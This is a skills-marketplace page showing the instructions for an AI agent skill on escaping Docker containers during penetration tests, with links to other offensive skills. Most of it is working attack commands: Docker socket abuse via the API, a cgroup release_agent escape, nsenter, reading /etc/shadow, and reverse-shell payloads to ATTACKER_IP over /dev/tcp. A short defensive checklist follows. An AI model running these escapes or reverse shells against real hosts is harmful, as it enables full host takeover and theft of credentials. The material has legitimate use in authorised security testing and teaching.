本文へ移動
cccskills
無料GitHub で公開

docker-container-escape

Escape from Docker containers to the host system using container misconfigurations, mounted sockets, privileged mode, capabilities abuse, and kernel exploits. Use this skill when testing containerized environments for breakout vulnerabilities during penetration tests. Covers Docker socket mounting, cgroup escapes, nsenter techniques, and Kubernetes pod escapes.

インストール方法を見る

含まれるファイル(3)

  • SKILL.md6.9 KB
  • evals/evals.json532 B
  • scripts/process.py7.8 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Docker Container Escape

When to Use

  • When you have shell access inside a Docker container during a pentest
  • When testing Kubernetes pods for breakout vulnerabilities
  • When assessing container security configurations
  • When testing for privilege escalation from container to host

Prerequisites

  • Shell access (user or limited privilege) on the target system
  • Enumeration tools appropriate for the target OS (LinPEAS, WinPEAS, etc.)
  • Understanding of the target OS privilege model and common misconfigurations
  • Ability to transfer files or compile tools on the target

Workflow

Phase 1: Container Detection & Enumeration

# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv
hostname  # Container IDs look like hex strings: a1b2c3d4e5f6

# Automated detection
# amicontained — container introspection tool
./amicontained

# DeepCE — Docker Privilege Escalation scanner
./deepce.sh

# Check for mounted Docker socket (CRITICAL FINDING)
ls -la /var/run/docker.sock
ls -la /run/docker.sock

# Check capabilities
capsh --print
cat /proc/self/status | grep Cap

# Check if privileged
cat /proc/self/status | grep -i "seccomp\|cap"
# If CapEff: 0000003fffffffff → Privileged container!

# Check mounted volumes
mount | grep -v "proc\|sys\|dev\|overlay"
df -h
cat /proc/mounts

Phase 2: Docker Socket Escape (Most Common)

# If /var/run/docker.sock is mounted — GAME OVER
# You can create a new privileged container with host filesystem mounted

# Method 1: Using Docker client inside container
# Install Docker CLI or use curl to API
docker -H unix:///var/run/docker.sock run -it --rm --privileged \
  -v /:/hostfs alpine:latest chroot /hostfs bash

# Method 2: Using curl (when Docker CLI is not available)
# List running containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq

# Create privileged container with host access
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  http://localhost/containers/create \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh", "-c", "chroot /hostfs /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\""],
    "HostConfig": {
      "Binds": ["/:/hostfs"],
      "Privileged": true
    }
  }'

# Start the container
curl -s --unix-socket /var/run/docker.sock -X POST \
  http://localhost/containers/CONTAINER_ID/start

Phase 3: Privileged Container Escape

# If the container is running in --privileged mode:

# Method 1: Mount host filesystem
mkdir /tmp/hostfs
mount /dev/sda1 /tmp/hostfs
ls /tmp/hostfs/  # You now have host filesystem access!
chroot /tmp/hostfs bash

# Method 2: cgroup escape (CVE-2022-0492)
# Create a cgroup with a release_agent pointing to host
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/escape
echo 1 > $d/escape/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
echo '#!/bin/sh' > /cmd
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > $d/escape/cgroup.procs"

# Method 3: nsenter to host PID namespace
nsenter -t 1 -m -u -i -n -p -- /bin/bash
# Requires: CAP_SYS_ADMIN or --pid=host

Phase 4: Capability-based Escape

# CAP_SYS_ADMIN — most versatile capability
# Allows mount, cgroup manipulation, etc.
# Use cgroup escape method above

# CAP_SYS_PTRACE — process tracing
# Inject into host processes visible from container
# Works when --pid=host is set

# CAP_NET_ADMIN — network manipulation
# ARP spoof, route manipulation
# Pivot to host network services

# CAP_DAC_READ_SEARCH — read any file
# Read host files through /proc/1/root/
cat /proc/1/root/etc/passwd
cat /proc/1/root/etc/shadow

🔵 Blue Team Detection

  • Never mount Docker socket into containers
  • Never use --privileged unless absolutely necessary
  • Drop all capabilities: --cap-drop=ALL --cap-add=ONLY_NEEDED
  • Use rootless containers: Run Docker daemon as non-root
  • Seccomp profiles: Apply restrictive seccomp profiles
  • AppArmor/SELinux: Enforce MAC policies on containers
  • Read-only root fs: --read-only flag

Key Concepts

ConceptDescription
Docker socketUnix socket for Docker API — mounting it gives full Docker control
Privileged modeContainer with all capabilities and no seccomp — essentially root on host
cgroup escapeUsing Linux cgroups release_agent mechanism to execute on host
nsenterEnter namespaces of another process (e.g., PID 1 on host)
CapabilityFine-grained Linux permission — certain capabilities enable container escape

Output Format

Container Escape Report
========================
Container: web-app-prod (Docker 20.10.21)
Escape Method: Docker socket mounted inside container
Impact: Full host system compromise  

Evidence:
  $ ls -la /var/run/docker.sock
  srw-rw---- 1 root docker 0 /var/run/docker.sock
  
  $ docker -H unix:///var/run/docker.sock run --privileged -v /:/hostfs alpine cat /hostfs/etc/shadow
  root:$6$hash:19000:0:99999:7:::

Remediation:
1. Remove Docker socket mount from container configuration
2. Use rootless Docker mode
3. Apply seccomp and AppArmor profiles

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

ShulkwiSEC のスキルをすべて見る

このスキルの問題を報告する